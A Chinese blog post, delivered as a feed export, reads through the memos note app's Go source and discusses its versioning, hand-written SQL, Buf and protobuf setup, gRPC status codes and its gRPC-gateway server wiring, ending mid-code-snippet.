Light Cubehttps://github.red/当真心想要做成一件事的时候,人总是孤独的。6468003778633935042144677325825024https://github.red/images/icon.pngLight Cubehttps://github.red/Hugo -- gohugo.iozh-cnFri, 17 Jan 2025 23:01:23 +0800memos 源码阅读笔记https://github.red/memos-review/Fri, 17 Jan 2025 23:01:23 +0800https://github.red/memos-review/<p>一直想要有一个平台,能够发些碎碎念之类,记录一下在食堂吃到的新菜式,或者分享一下有意思的事情。如果在 QQ 空间动态发,未免有些扰民了;如果在 Telegram 发,因为网络问题不是很方便;在知识星球发,很不幸我的知识星球账号莫名其妙地被停用了。</p> <p>之前刷推特时偶然发现了 <a href="https://github.com/usememos/memos">memos</a> 这个项目,定位是一个 Self-hosted 的笔记应用,但看页面很像是一个精简版的 Twitter。memos 的功能很简单,令我感到惊讶的是,它的 Repo 居然有 36000+ çš„ Stars 数,确实厉害。</p> <p>碰巧 memos 也是用 Go 写,功能又这么简单,我便抽空阅读了下它的源码,也还算是小有收获,用这篇文章分享下我的心得体会。文中提到的内容可能你很早以前就知道了,还请多多包涵。</p> <p>本文使用 commit <a href="https://github.com/usememos/memos/tree/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e"><code>edc3f1d</code> </a> 的代码进行演示。</p> <h2 id="语义化版本">语义化版本</h2> <p>语义化版本(Semantic Versioning)在 Go 里面应该是用得很多了。几年前参加 GopherChina 的时候,就有人专门分享了这个。</p> <p>memos 在 <a href="https://github.com/usememos/memos/blob/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e/server/version/version.go"><code>server/version/version.go</code></a> 下记录了当前的版本号,并为使用 <code>golang.org/x/mod/semver</code> 实现了排序逻辑。值得注意的是,这里的版本号会被用于在数据库迁移(migration)中。每一个版本的数据库迁移 SQL 文件会被放置在以版本号命名的文件夹中,当执行数据库迁移时,会将这些版本号文件名进行排序,并与当前的版本号进行对比,从而选择要执行的迁移脚本。</p> <h2 id="打死都不用-orm">打死都不用 ORM</h2> <p>memos 支持 MySQL、Postgres、SQLite 三种数据库。遇到这种需要支持多种数据库的场景,我们往往会使用 ORM,就算对 ORM 存在的副作用不信任,也会选择 SQL 查询构造器(SQL Query Builder)的库来辅助我们构造 SQL。但 memos 不知道在坚持什么,硬生生地对着三套数据库后端写了三套代码!他甚至只用 <code>database/sql</code> 和对应数据库的 Driver!他甚至手写 SQL!他甚至还各种拼 SQL 查询条件的字段!</p> <p>各位可以体会下 <a href="https://github.com/usememos/memos/blob/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e/store/db/mysql/activity.go#L23-L27">store/db/mysql/activity.go#L23-L27</a></p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>fields <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">string</span>{<span style="color:#a5d6ff">&#34;`creator_id`&#34;</span>, <span style="color:#a5d6ff">&#34;`type`&#34;</span>, <span style="color:#a5d6ff">&#34;`level`&#34;</span>, <span style="color:#a5d6ff">&#34;`payload`&#34;</span>} </span></span><span style="display:flex;"><span>placeholder <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">string</span>{<span style="color:#a5d6ff">&#34;?&#34;</span>, <span style="color:#a5d6ff">&#34;?&#34;</span>, <span style="color:#a5d6ff">&#34;?&#34;</span>, <span style="color:#a5d6ff">&#34;?&#34;</span>} </span></span><span style="display:flex;"><span>args <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">any</span>{create.CreatorID, create.Type.<span style="color:#d2a8ff;font-weight:bold">String</span>(), create.Level.<span style="color:#d2a8ff;font-weight:bold">String</span>(), payloadString} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>stmt <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">&#34;INSERT INTO `activity` (&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> strings.<span style="color:#d2a8ff;font-weight:bold">Join</span>(fields, <span style="color:#a5d6ff">&#34;, &#34;</span>) <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;) VALUES (&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> strings.<span style="color:#d2a8ff;font-weight:bold">Join</span>(placeholder, <span style="color:#a5d6ff">&#34;, &#34;</span>) <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;)&#34;</span> </span></span></code></pre></div><p>这段 <code>INSERT</code> 真就硬生生地拼字段,硬生生的写死预编译占位符。</p> <p>当然,有人提了 issue 问为什么不用 ORM,并且推荐了 <code>sqlc</code> å’Œ <code>sqlbuilders</code> 两个库。作者的回复是前者 <code>looks a little weird</code> (?),后者 <code> pretty much the same as the existing way</code>,综上所属作者认为保持现状啥也不改!😅</p> <p>FYI:<a href="https://github.com/usememos/memos/issues/2517">https://github.com/usememos/memos/issues/2517</a></p> <h2 id="玩出花的-grpc">玩出花的 gRPC</h2> <p>memos 项目中对 gRPC 的写法可谓是教科书级别的。我也算是对着它的代码入门了下 gRPC。说来惭愧,我以前除了拿 Protobuf 写过 Hello World çš„ demo,就没有更深入的应用了。</p> <h3 id="buf">Buf</h3> <p><a href="https://github.com/bufbuild/buf">Buf</a> 是一个用来辅助使用 Protobuf 的工具。它相当于为 Protobuf 实现了“包管理”的功能,你可以使用 <code>buf.yaml</code> 来定义需要引用的第三方 Proto,还可以配置 Lint 之类的规则。运行 <code>buf generate</code> 后便会自动去帮我们完成运行 <code>protoc-gen-go</code> 等一切操作。memos 中就使用到了 Buf,可以在 <a href="https://github.com/usememos/memos/blob/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e/proto/buf.yaml"><code>proto/buf.yaml</code></a> 找到。Buf 还会生成一个 <code>buf.lock</code> 文件,也就是包管理中常见的签名文件。</p> <p>我们可以观察到 Buf çš„ <code>dep</code> 依赖形如 <code>buf.build/googleapis/googleapis</code> 这样的 URL,访问便可跳转到 Buf Schema Registry 上对应 Package 的页面。</p> <p>感觉用 Buf 来处理 Protobuf,操作简便,逼格一下就上去了,学到了。</p> <h3 id="目录结构">目录结构</h3> <p>memos çš„ <code>/proto</code> 目录下,<code>store</code> 目录与数据库的表结构对应,为每张表对应的实例的 proto 定义。<code>api/v1</code> 目录中则是 <code>service</code> 的定义,这里则对应了 Web API 的路由。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-protobuf" data-lang="protobuf"><span style="display:flex;"><span><span style="color:#ff7b72">service</span> AuthService {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// GetAuthStatus returns the current auth status of the user. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> GetAuthStatus(GetAuthStatusRequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/auth/status&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignIn signs in the user with the given username and password. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignIn(SignInRequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/auth/signin&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignInWithSSO signs in the user with the given SSO code. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignInWithSSO(SignInWithSSORequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/auth/signin/sso&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignUp signs up the user with the given username and password. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignUp(SignUpRequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/auth/signup&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignOut signs out the user. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignOut(SignOutRequest) <span style="color:#ff7b72">returns</span> (google.protobuf.Empty) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/auth/signout&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span>}<span style="color:#f85149"> </span></span></span></code></pre></div><p>例如上述代码,<code>service</code> 中的每个 <code>rpc</code> 可以看作与一个 API 相对应。</p> <p>例如 <code>GetAuthStatusRequest</code> 这些是在下面定义的 <code>message</code> ,相当于是接口的入参表单,<code>returns</code> 指定了返回值。没有返回值的接口则使用了 <code>google.protobuf.Empty</code> 。</p> <p><code>option</code> 指定了 HTTP 下的请求路由和请求方法。</p> <p>对于动态路由,感觉会有些复杂:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-protobuf" data-lang="protobuf"><span style="display:flex;"><span><span style="color:#ff7b72">rpc</span> GetMemo(GetMemoRequest) <span style="color:#ff7b72">returns</span> (Memo) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {get<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/{name=memos/*}&#34;</span>};<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.method_signature) <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#34;name&#34;</span>;<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span>}<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span><span style="color:#ff7b72">rpc</span> UpdateMemo(UpdateMemoRequest) <span style="color:#ff7b72">returns</span> (Memo) {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> patch<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;/api/v1/{memo.name=memos/*}&#34;</span><span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> body<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;memo&#34;</span><span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> };<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.method_signature) <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#34;memo,update_mask&#34;</span>;<span style="color:#f85149"> </span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span>}<span style="color:#f85149"> </span></span></span></code></pre></div><p>第一个 <code>GetMemo</code> 中,限制了路由的必须要匹配到 <code>/api/v1/memos/*</code> ,后面的 <code>method_signature</code> 指定了必须要传 <code>name</code> 参数。</p> <p>第二个 <code>UpdateMemo</code> 中,限制了路由必须匹配 <code>/api/v1/memos/*</code> 。大括号里有个很怪的 <code>memo.name=</code>,因为 proto 里参数都是在 rpc 的入参传入的(即 <code>UpdateMemoRequest</code> ),只是我们在通过 HTTP API 访问时才有 Path、Header、Query、Body 这些传参的方式。因此在 <code>rpc</code> 的定义里,路由中通配符的值来自于 <code>UpdateMemoRequest</code> 中的 <code>memo.name</code> 。而后面的 <code>method_signature</code> 指定了 <code>memo</code> å’Œ <code>update_mask</code> 为必须要传的参数。</p> <p>Service 的具体实现上,其实跟正常写 HTTP 接口差不多,Service 结构体实现对应 interface 里定义的方法即可。我注意到方法的错误处理,使用的是 <code>google.golang.org/grpc/status</code> 构造的 <code>error</code>,状态码也是 grpc 包里自带的。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (s <span style="color:#ff7b72;font-weight:bold">*</span>APIV1Service) <span style="color:#d2a8ff;font-weight:bold">GetMemo</span>(ctx context.Context, request <span style="color:#ff7b72;font-weight:bold">*</span>v1pb.GetMemoRequest) (<span style="color:#ff7b72;font-weight:bold">*</span>v1pb.Memo, <span style="color:#ff7b72">error</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, status.<span style="color:#d2a8ff;font-weight:bold">Errorf</span>(codes.PermissionDenied, <span style="color:#a5d6ff">&#34;permission denied&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p><code>codes</code> 包里定义了 17 种状态码,我开始还怀疑就这么点状态码类型真的能给所有的错误分类吗?事实证明还真可以。像 RESTful API 里常常表示的 <code>403</code> 没权限、<code>404</code> 不存在、<code>400</code> 格式不对、<code>5xx</code> 服务寄了 等状态,都可以找到状态码进行对应。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> strToCode = <span style="color:#ff7b72">map</span>[<span style="color:#ff7b72">string</span>]Code{ </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;OK&#34;`</span>: OK, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;CANCELLED&#34;`</span>:<span style="color:#8b949e;font-style:italic">/* [sic] */</span> Canceled, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;UNKNOWN&#34;`</span>: Unknown, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;INVALID_ARGUMENT&#34;`</span>: InvalidArgument, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;DEADLINE_EXCEEDED&#34;`</span>: DeadlineExceeded, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;NOT_FOUND&#34;`</span>: NotFound, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;ALREADY_EXISTS&#34;`</span>: AlreadyExists, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;PERMISSION_DENIED&#34;`</span>: PermissionDenied, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;RESOURCE_EXHAUSTED&#34;`</span>: ResourceExhausted, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;FAILED_PRECONDITION&#34;`</span>: FailedPrecondition, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;ABORTED&#34;`</span>: Aborted, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;OUT_OF_RANGE&#34;`</span>: OutOfRange, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;UNIMPLEMENTED&#34;`</span>: Unimplemented, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;INTERNAL&#34;`</span>: Internal, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;UNAVAILABLE&#34;`</span>: Unavailable, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;DATA_LOSS&#34;`</span>: DataLoss, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`&#34;UNAUTHENTICATED&#34;`</span>: Unauthenticated, </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h3 id="grpc-server-å’Œ-restful-api-server">gRPC Server å’Œ RESTful API Server</h3> <p>memos çš„ <code>server/server.go</code> 文件定义了 HTTP 服务。它的 HTTP 服务使用 echo 框架。</p> <p>重点看下面的代码:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>grpcServer <span style="color:#ff7b72;font-weight:bold">:=</span> grpc.<span style="color:#d2a8ff;font-weight:bold">NewServer</span>( </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Override the maximum receiving message size to math.MaxInt32 for uploading large resources.</span> </span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">MaxRecvMsgSize</span>(math.MaxInt32), </span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">ChainUnaryInterceptor</span>( </span></span><span style="display:flex;"><span> apiv1.<span style="color:#d2a8ff;font-weight:bold">NewLoggerInterceptor</span>().LoggerInterceptor, </span></span><span style="display:flex;"><span> grpcrecovery.<span style="color:#d2a8ff;font-weight:bold">UnaryServerInterceptor</span>(), </span></span><span style="display:flex;"><span> apiv1.<span style="color:#d2a8ff;font-weight:bold">NewGRPCAuthInterceptor</span>(store, secret).AuthenticationInterceptor, </span></span><span style="display:flex;"><span> )) </span></span><span style="display:flex;"><span>s.grpcServer = grpcServer </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>apiV1Service <span style="color:#ff7b72;font-weight:bold">:=</span> apiv1.<span style="color:#d2a8ff;font-weight:bold">NewAPIV1Service</span>(s.Secret, profile, store, grpcServer) </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Register gRPC gateway as api v1.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> apiV1Service.<span style="color:#d2a8ff;font-weight:bold">RegisterGateway</span>(ctx, echoServer); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;failed to register gRPC gateway&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>这里首先声明了一个 gRPC Server,并加了些常见的 Recover 中间件、Logger 拦截器、ACL 鉴权拦截器等。</p> <p>后面的 <code>NewAPIV1Service</code> 创建每一块接口的 ServiceServer。跟进去可以看到,它会向上述定义的 gRPC Server 注册所支持的服务。这些注册服务的 <code>v1pb.RegisterXXXServiceServer</code> 就是用 proto 文件自动生成的了。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">NewAPIV1Service</span>(secret <span style="color:#ff7b72">string</span>, profile <span style="color:#ff7b72;font-weight:bold">*</span>profile.Profile, store <span style="color:#ff7b72;font-weight:bold">*</span>store.Store, grpcServer <span style="color:#ff7b72;font-weight:bold">*</span>grpc.Server) <span style="color:#ff7b72;font-weight:bold">*</span>APIV1Service { </span></span><span style="display:flex;"><span> grpc.EnableTracing = <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> apiv1Service <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72;font-weight:bold">&amp;</span>APIV1Service{ </span></span><span style="display:flex;"><span> Secret: secret, </span></span><span style="display:flex;"><span> Profile: profile, </span></span><span style="display:flex;"><span> Store: store, </span></span><span style="display:flex;"><span> grpcServer: grpcServer, </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWorkspaceServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWorkspaceSettingServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterAuthServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterUserServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterMemoServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterResourceServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterInboxServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterActivityServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWebhookServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterMarkdownServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterIdentityProviderServiceServer</span>(grpcServer, apiv1Service) </span></span><span style="display:flex;"><span> reflection.<span style="color:#d2a8ff;font-weight:bold">Register</span>(grpcServer) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> apiv1Service </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>最后的 <code>reflection.Register(grpcServer)</code> 用于注册 gRPC 的反射功能,让客户端在运行时能动态获取 gRPC 服务的相关信息,如服务列表、方法列表、方法的输入输出参数类型等,而不需要事先知道服务的具体定义。</p> <hr> <p>向 gRPC Server 注册完服务后,下面是<strong>å°† Echo 框架启动的 HTTP Server 作为 Gateway,以实现通过 HTTP 的方式来访问 gRPC Service。</strong>(echoServer 就是 <code>echo.New()</code> 出来的实例)</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Register gRPC gateway as api v1.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> apiV1Service.<span style="color:#d2a8ff;font-weight:bold">RegisterGateway</span>(ctx, echoServer); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;failed to register gRPC gateway&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>跟进去看定义。这里居然新建了一个 gRPC 的客户端!</p> <p><code>runtime.NewServeMux()</code> 是 <code>grpc-gateway</code> 下的包,用于返回一个 HTTP Mux,后续就可以交给任意的 Go HTTP 框架去调用。下面自动生成的 <code>v1pb.RegisterXXXServiceHandler</code> 这些路由 Handler,就是来自于上文 proto 文件里的 <code>google.api.http</code> 注解。</p> <p>最后将这个 HTTP Mux 包起来交给 echo 框架的 handler,放在了 <code>/api/v1/*</code> 路由下。这样我们就实现了 RESTful 风格的 API。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// RegisterGateway registers the gRPC-Gateway with the given Echo instance.</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (s <span style="color:#ff7b72;font-weight:bold">*</span>APIV1Service) <span style="color:#d2a8ff;font-weight:bold">RegisterGateway</span>(ctx context.Context, echoServer <span style="color:#ff7b72;font-weight:bold">*</span>echo.Echo) <span style="color:#ff7b72">error</span> { </span></span><span style="display:flex;"><span> conn, err <span style="color:#ff7b72;font-weight:bold">:=</span> grpc.<span style="color:#d2a8ff;font-weight:bold">NewClient</span>( </span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Sprintf</span>(<span style="color:#a5d6ff">&#34;%s:%d&#34;</span>, s.Profile.Addr, s.Profile.Port), </span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">WithTransportCredentials</span>(insecure.<span style="color:#d2a8ff;font-weight:bold">NewCredentials</span>()), </span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">WithDefaultCallOptions</span>(grpc.<span style="color:#d2a8ff;font-weight:bold">MaxCallRecvMsgSize</span>(math.MaxInt32)), </span></span><span style="display:flex;"><span> ) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> err </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> gwMux <span style="color:#ff7b72;font-weight:bold">:=</span> runtime.<span style="color:#d2a8ff;font-weight:bold">NewServeMux</span>() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWorkspaceServiceHandler</span>(ctx, gwMux, conn); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> err </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// ...</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterIdentityProviderServiceHandler</span>(ctx, gwMux, conn); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> err </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> gwGroup <span style="color:#ff7b72;font-weight:bold">:=</span> echoServer.<span style="color:#d2a8ff;font-weight:bold">Group</span>(<span style="color:#a5d6ff">&#34;&#34;</span>) </span></span><span style="display:flex;"><span> gwGroup.<span style="color:#d2a8ff;font-weight:bold">Use</span>(middleware.<span style="color:#d2a8ff;font-weight:bold">CORS</span>()) </span></span><span style="display:flex;"><span> handler <span style="color:#ff7b72;font-weight:bold">:=</span> echo.<span style="color:#d2a8ff;font-weight:bold">WrapHandler</span>(gwMux) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> gwGroup.<span style="color:#d2a8ff;font-weight:bold">Any</span>(<span style="color:#a5d6ff">&#34;/api/v1/*&#34;</span>, handler) </span></span><span style="display:flex;"><span> gwGroup.<span style="color:#d2a8ff;font-weight:bold">Any</span>(<span style="color:#a5d6ff">&#34;/file/*&#34;</span>, handler) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// GRPC web proxy.</span> </span></span><span style="display:flex;"><span> options <span style="color:#ff7b72;font-weight:bold">:=</span> []grpcweb.Option{ </span></span><span style="display:flex;"><span> grpcweb.<span 